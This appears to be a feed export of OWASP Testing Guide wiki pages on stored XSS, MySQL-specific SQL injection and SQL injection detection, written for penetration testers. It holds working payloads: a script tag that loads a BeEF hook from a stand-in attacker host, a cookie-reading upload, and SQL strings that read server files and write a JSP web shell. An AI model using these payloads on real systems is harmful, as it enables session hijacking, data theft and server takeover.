If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string &amp;quot;SCRIPT&amp;quot; is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters. It is strongly recommended that testers refer to [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.&lt;br /&gt;
&lt;br /&gt;
'''Leverage Stored XSS with BeEF'''&lt;br /&gt;
&lt;br /&gt;
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:&lt;br /&gt;
&lt;br /&gt;
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)&lt;br /&gt;
* Waiting for the application user to view the vulnerable page where the stored input is displayed&lt;br /&gt;
* Control the application user’s browser via the BeEF console&lt;br /&gt;
&lt;br /&gt;
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: BeEF Injection in index2.php:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com”&amp;gt;&amp;lt;script src=http://attackersite/beef/hook/beefmagic.js.php&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected'''&lt;br /&gt;
&lt;br /&gt;
[[Image:BeEF_in_action.jpg]]&lt;br /&gt;
&lt;br /&gt;
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.&lt;br /&gt;
&lt;br /&gt;
'''File Upload'''&lt;br /&gt;
&lt;br /&gt;
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP POST request for file upload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /fileupload.aspx HTTP/1.1&lt;br /&gt;
[…]&lt;br /&gt;
&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.txt&amp;quot;&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
test&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.&lt;br /&gt;
&lt;br /&gt;
HTTP POST Request forged:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.gif&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.&lt;br /&gt;
 &lt;br /&gt;
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:&lt;br /&gt;
&lt;br /&gt;
* Use front-end application and enter input with special/invalid characters&lt;br /&gt;
* Analyze application response(s)&lt;br /&gt;
* Identify presence of input validation controls&lt;br /&gt;
* Access back-end system and check if input is stored and how it is stored&lt;br /&gt;
* Analyze source code and understand how stored input is rendered by the application&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables used in input forms should be analyzed.&lt;br /&gt;
&lt;br /&gt;
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
The following table summarizes some special variables and functions to look at when analyzing source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''PHP''' || '''ASP''' || '''JSP'''&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
* $_GET - HTTP GET variables&lt;br /&gt;
* $_POST - HTTP POST variables&lt;br /&gt;
* $_FILES - HTTP File Upload variables&lt;br /&gt;
|| &lt;br /&gt;
* Request.QueryString - HTTP GET&lt;br /&gt;
* Request.Form - HTTP POST&lt;br /&gt;
* Server.CreateObject - used to upload files&lt;br /&gt;
|| &lt;br /&gt;
* doGet, doPost servlets - HTTP GET and POST&lt;br /&gt;
* request.getParameter - HTTP GET/POST variables&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Aung Khant: &amp;quot;What XSS Can do - Benefits of XSS From Attacker's view&amp;quot; - http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf&lt;br /&gt;
&lt;br /&gt;
* Amit Klein: &amp;quot;Cross-site Scripting Explained&amp;quot; - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf&lt;br /&gt;
&lt;br /&gt;
* Gunter Ollmann: &amp;quot;HTML Code Injection and Cross-site Scripting&amp;quot; - http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
&lt;br /&gt;
* CGISecurity.com: &amp;quot;The Cross Site Scripting FAQ&amp;quot; - http://www.cgisecurity.com/xss-faq.html&lt;br /&gt;
&lt;br /&gt;
* Blake Frantz: &amp;quot;Flirting with MIME Types: A Browser's Perspective&amp;quot; - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.&lt;br /&gt;
&lt;br /&gt;
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).&lt;br /&gt;
&lt;br /&gt;
* '''BeEF''' - http://www.bindshell.net/tools/beef/&lt;br /&gt;
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
&lt;br /&gt;
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/&lt;br /&gt;
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.&lt;br /&gt;
&lt;br /&gt;
* '''Burp''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. &lt;br /&gt;
&lt;br /&gt;
* '''XSS Assistant''' - http://www.whiteacid.org/xss_assistant.user.js&lt;br /&gt;
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=128757</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=128757"/>
				<updated>2012-04-29T14:38:49Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When an SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the application, to work properly, needs to use constant strings,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ASCII values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
For example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies upon.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows us to get all informations about databases, tables, and columns,&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary of some interesting Views.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of this information could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection section.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes surrounding a filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use the 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
MySQL user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If a connected user has '''FILE''' privileges, it could be used to get the files' content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''The whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on the MySQL version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Zeelock: Blind Injection in MySQL Databases - http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/msg00289.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* http://sqlsus.sourceforge.net/&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=128756</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=128756"/>
				<updated>2012-04-29T14:36:51Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Blind_SQL_Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP Prevention Cheat Sheet Series article on [[SQL Injection Prevention Cheat Sheet | Preventing SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.&lt;br /&gt;
&lt;br /&gt;
Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;[[Blind SQL Injection]]&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
